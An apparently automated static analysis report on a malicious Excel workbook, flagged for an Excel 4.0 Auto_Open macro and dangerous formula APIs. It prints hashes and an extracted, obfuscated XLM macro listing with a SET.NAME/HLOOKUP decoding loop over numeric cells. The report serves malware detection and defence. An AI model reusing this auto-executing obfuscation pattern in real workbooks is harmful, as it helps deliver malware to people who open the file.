Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a5b3b18727268231…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-27 11:43:49 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: bc5725b6258dd8b4e0916e8e0a661844 SHA-1: e1510f422fe6d69a50f48e8b83acf5cb32d58aa4 SHA-256: a5b3b187272682318a9036c1370759694d4423a90001e6f88e6337179e553450
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6653 bytes
SHA-256: 47f444776f6903960a098f5bf75ab564ffaf3e4e1cca79644b8644def3a6a1f1
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  LEpEPZM
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H136 
' 0018     21 LABEL : Cell Value, String Constant - bxhrQA len=0 
' 0018     27 LABEL : Cell Value, String Constant - bYKQvHuPwKNW len=0 
' 0018     24 LABEL : Cell Value, String Constant - cNtRusxBc len=0 
' 0018     20 LABEL : Cell Value, String Constant - CUVuL len=0 
' 0018     26 LABEL : Cell Value, String Constant - eiEguTzeNAd len=0 
' 0018     22 LABEL : Cell Value, String Constant - FVjKIBO len=0 
' 0018     21 LABEL : Cell Value, String Constant - GcrFqJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - IszYIG len=0 
' 0018     26 LABEL : Cell Value, String Constant - IYWqbzFccpJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - jFrSlQhP len=0 
' 0018     23 LABEL : Cell Value, String Constant - JJWLOSPT len=0 
' 0018     25 LABEL : Cell Value, String Constant - jkFayzDwnU len=0 
' 0018     24 LABEL : Cell Value, String Constant - OdAPvreRM len=0 
' 0018     26 LABEL : Cell Value, String Constant - pVgCIuTUhUo len=0 
' 0018     24 LABEL : Cell Value, String Constant - SdDFEMzhq len=0 
' 0018     22 LABEL : Cell Value, String Constant - sDGRowY len=0 
' 0018     20 LABEL : Cell Value, String Constant - tVwhb len=0 
' 0018     21 LABEL : Cell Value, String Constant - UGlDUG len=0 
' 0018     21 LABEL : Cell Value, String Constant - xySMaP len=0 
' 0018     21 LABEL : Cell Value, String Constant - yQVczl len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  LEpEPZM,H47,"SET.NAME("UGlDUG",0+VALUE("0"))",""
'  LEpEPZM,H50,"SET.NAME("CUVuL",UGlDUG)",""
'  LEpEPZM,H55,"SET.NAME("xySMaP",UGlDUG)",""
'  LEpEPZM,H60,"SET.NAME("JJWLOSPT",COUNTA(SdDFEMzhq))",""
'  LEpEPZM,H65,"SET.NAME("yQVczl",COUNTA(tVwhb))",""
'  LEpEPZM,H67,[],""
'  LEpEPZM,H70,"SET.NAME("sDGRowY","")",""
'  LEpEPZM,H75,"CUVuL",""
'  LEpEPZM,Q77,"",-87.00000000000000000000
'  LEpEPZM,H78,"SET.NAME("bYKQvHuPwKNW",HLOOKUP("*",SdDFEMzhq,CUVuL,FALSE))",""
'  LEpEPZM,Q78,"",-601.00000000000000000000
'  LEpEPZM,Q79,"",453.00000000000000000000
'  LEpEPZM,Q80,"",85.00000000000000000000
'  LEpEPZM,Q81,"",-838.00000000000000000000
'  LEpEPZM,H82,"eiEguTzeNAd",""
'  LEpEPZM,Q82,"",-272.00000000000000000000
'  LEpEPZM,H84,"SET.NAME("GcrFqJ",UGlDUG)",""
'  LEpEPZM,H88,[],""
'  LEpEPZM,H93,"GcrFqJ",""
'  LEpEPZM,H95,"cNtRusxBc",""
'  LEpEPZM,H97,"bxhrQA",""
'  LEpEPZM,H99,"IszYIG",""
'  LEpEPZM,H101,"SET.NAME("FVjKIBO",VALUE(HLOOKUP("*",tVwhb,IszYIG,FALSE)))",""
'  LEpEPZM,H105,"OdAPvreRM",""
'  LEpEPZM,H109,"sDGRowY",""
'  LEpEPZM,H112,"xySMaP",""
'  LEpEPZM,H116,NEXT(),""
'  LEpEPZM,H119,"jFrSlQhP",""
'  LEpEPZM,H123,[],""
'  LEpEPZM,H125,"pVgCIuTUhUo",""
'  LEpEPZM,H127,NEXT(),""
'  LEpEPZM,H132,RETURN(),""
'  LEpEPZM,H160,"SET.NAME("jkFayzDwnU",H47)",""
'  LEpEPZM,H163,"SdDFEMzhq",""
'  LEpEPZM,H166,"SET.NAME("tVwhb",R57C14)",""
'  LEpEPZM,H168,"SET.NAME("pVgCIuTUhUo",175)",""
'  LEpEPZM,H171,"SET.NAME("IYWqbzFccpJ",8)",""
'  LEpEPZM,H174,jkFayzDwnU(),""
'  LEpEPZM,H175,HALT(),""

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